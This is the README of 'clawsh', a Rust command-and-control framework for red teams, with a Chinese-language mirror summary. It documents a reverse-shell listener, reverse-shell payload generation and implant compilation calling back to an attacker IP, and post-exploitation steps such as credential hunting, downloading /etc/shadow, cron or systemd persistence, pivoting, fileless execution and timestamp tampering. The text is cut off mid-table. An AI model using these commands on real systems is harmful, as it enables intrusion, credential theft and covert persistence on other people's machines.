y0uall/clawsh

GitHub: y0uall/clawsh

一个基于Rust异步架构的跨平台C2框架,整合反向Shell处理、加密植入程序、后渗透模块和AI指导功能于单二进制文件中。

Stars: 0 | Forks: 0

🦀 clawsh

Async C2 framework — handler + implant — single binary, zero dependencies

Version Rust License Implant Protocol

InstallationQuick StartFeaturesModulesAgent ModeAI MentorPluginsLicense

clawsh 是一个面向渗透测试人员和红队成员的 C2 框架。它将交互式 Handler、配套植入程序、会话管理、后渗透自动化和 Pivot 功能结合在一个约 6 MB 的二进制文件中,且无运行时依赖。 使用 Rust 和 tokio 异步 I/O 构建。可处理数十个并发 shell 会话和 agent 连接而不会阻塞。 **两种操作模式:** - **Shell 模式** — 接收来自任何 Payload 的反向 Shell(bash, python, nc 等) - **Agent 模式** — 原生植入程序协议,支持加密 C2、侦察模块、持久化和隐蔽性 **配套植入程序**:[clawsh-imp](https://github.com/y0uall/clawsh-imp) — 一个轻量级跨平台植入程序(Linux 约 1.7 MB,Windows 约 1.6 MB),通过加密 agent 协议与 clawsh 原生配对。 ## 截图 ![clawsh 监听器横幅](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/1f82272a5c015013.png) ![Agent 已连接 — 信息输出](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/8ced842d81015015.png) ![clawsh 帮助概览](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/c5dd315653015017.png) ![clawsh 会话概览](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/3b00dc41e6015019.png) ## 安装 从 [Releases](../../releases) 页面下载最新版本。 ``` # Extract tar xzf clawsh-v2.0.0-linux-x86_64.tar.gz cd clawsh-v2.0.0-linux-x86_64 # 安装二进制文件 cp clawsh ~/.local/bin/ chmod +x ~/.local/bin/clawsh # 安装插件 (Rhai scripts) mkdir -p ~/.local/share/clawsh/plugins cp -r scripts/* ~/.local/share/clawsh/plugins/ # 验证 clawsh --version clawsh modules ``` 或者从任意目录便携运行 — clawsh 会自动发现 `/scripts/` 中的插件。 ## 快速开始 ### 启动监听器 ``` clawsh listen -p 4444 # TCP clawsh listen -p 4444 --tls # TLS encrypted clawsh listen -p 4444,8080,9999 --tls # Multi-port + TLS clawsh listen -p 4444 --tls --record # With session recording ``` ### 生成 Payload ``` clawsh payload bash # Bash (auto-detects tun0 IP, port 4444) clawsh payload python # Python3 clawsh payload powershell # PowerShell (Windows targets) clawsh payload php # PHP clawsh payload nc-pipe # Netcat (FIFO) clawsh payload bash -H 10.10.14.5 # Explicit LHOST clawsh payload bash -H 10.10.14.5 -P 9001 # Explicit LHOST + port clawsh payload bash --encode # URL-encoded ``` 可用类型:`bash`, `bash-udp`, `python`, `nc`, `nc-pipe`, `powershell`, `socat`, `perl`, `php`, `ruby` ### 构建植入程序二进制文件 clawsh 内置了 Payload 编译器,可以使用你的 C2 配置修补 [clawsh-imp](https://github.com/y0uall/clawsh-imp) 模板。无需 Rust 工具链 — 从 [clawsh-imp releases](https://github.com/y0uall/clawsh-imp/releases) 下载模板并将其放在 `~/.local/share/clawsh/templates/` 中。 ``` # 从预构建模板编译 implant clawsh compile --host 10.10.14.5 --port 4444 --psk "secret" --tls # Windows 目标 clawsh compile --host 10.10.14.5 --port 4444 --psk "secret" --target windows # HTTP 传输 (混入 Web 流量) clawsh compile --host 10.10.14.5 --port 443 --tls --transport http # 从源码构建新模板 (仅首次,需要 Rust) clawsh compile --build-templates ``` ### 典型工作流 ``` $ clawsh listen -p 4444 --tls --record clawsh v2.0.0 by uall [+] Listening on 0.0.0.0:4444 (TLS) → 10.10.14.5 31 module(s) loaded (16 linux, 15 windows) # --- Shell 模式 (反向 Shell) --- clawsh> use 0 [session 0] upgrade [session 0] run sysinfo [session 0] run credential_hunt [session 0] upload ./chisel /dev/shm/chisel [session 0] socks 1080 [session 0] persist cron 10.10.14.5 4444 [session 0] persist --clean # --- Agent 模式 (clawsh-imp implant) --- clawsh> agent 0 agent(root@dc01)> recon all agent(root@dc01)> recon privesc agent(root@dc01)> shell agent(root@dc01)> download /etc/shadow ./loot/ agent(root@dc01)> persist install systemd agent(root@dc01)> hint vector ``` ## 功能特性 ### 传输与监听器 | 功能 | 描述 | |---------|-------------| | **Multi-port TCP** | `-p 4444,8080,9999` — 同时监听多个端口 | | **TLS encryption** | `--tls` 使用自动生成的自签名证书(缓存)或自定义 PEM | | **HTTP/HTTPS tunnel** | 通过 HTTP POST/response 传输 Agent 流量 — 混入 Web 流量 | | **Protocol auto-detection** | 同一端口处理原始 shell、agent 协议和 HTTP 隧道 | | **TCP keepalive** | 自动检测死连接(30秒间隔) | | **Reconnect tracking** | 识别返回的 IP 并显示重连次数 | ### Shell 和 PTY | 功能 | 描述 | |---------|-------------| | **Auto PTY upgrade** | 检测 python3/python2/script/expect,自动升级 | | **Raw terminal mode** | 箭头键、Tab 补全、Ctrl+C 穿透 | | **SIGWINCH forwarding** | 终端大小调整传播到远程 | | **PTY health check** | `downgrade` 检查 PTY 状态,如已死则降级 | | **Shell stabilization** | stty raw, TERM 导出, 禁用 bracketed-paste | ### 会话管理 | 功能 | 描述 | |---------|-------------| | **Multi-session** | 无限并发会话,支持命名标签 | | **Background/foreground** | `use `, `bg`, `kill ` | | **Session notes** | `note ` — 为每个会话附加备注 | | **Session recording** | `--record` 保存为 asciinema v2 `.cast` 文件 | | **Remote OS detection** | 自动检测 Linux/Windows 并调整帮助/模块 | | **Graceful shutdown** | 检测连接丢失,自动通知 | ### 文件传输 | 功能 | 描述 | |---------|-------------| | **Upload** | 自动选择 base64(小文件)或嵌入式 HTTP 服务器(大文件) | | **Download** | 任何远程文件的 Base64 编码下载 | | **SHA256 verification** | 每次传输后自动进行完整性检查 | | **Stealth mode** | `--stealth` 或 OpSec 激活时:上传后自动修改时间戳 | | **In-memory execution** | `exec-mem` — memfd_create + fexecve,无文件接触磁盘 | ### 端口转发与 Pivot | 功能 | 描述 | |---------|-------------| | **Local forward** | `fwd -L ` — attacker:lport → 目标网络 | | **Remote forward** | `fwd -R ` — target:rport → attacker | | **SOCKS5 proxy** | `socks ` — 符合 RFC 1928,通过会话路由流量 | | **Auto method selection** | 使用 socat, netcat 或 python — 取决于可用性 | ### 后渗透 | 功能 | 描述 | |---------|-------------| | **31+ modules** | 原生 Rust + Rhai 脚本 — 适配系统(Linux + Windows) | | **OS-aware filtering** | `modules` 仅显示与目标 OS 相关的模块 | | **Credential vault** | `creds add/search/export` — 收集和管理发现的凭据 | | **Loot manager** | 带 SHA256 标签和会话关联的文件清单 | | **Persistence** | 8 种方法(4 Linux + 4 Windows) — 均可通过 `persist --clean` 逆向清除 | | **Event hooks** | `hook on_session_connect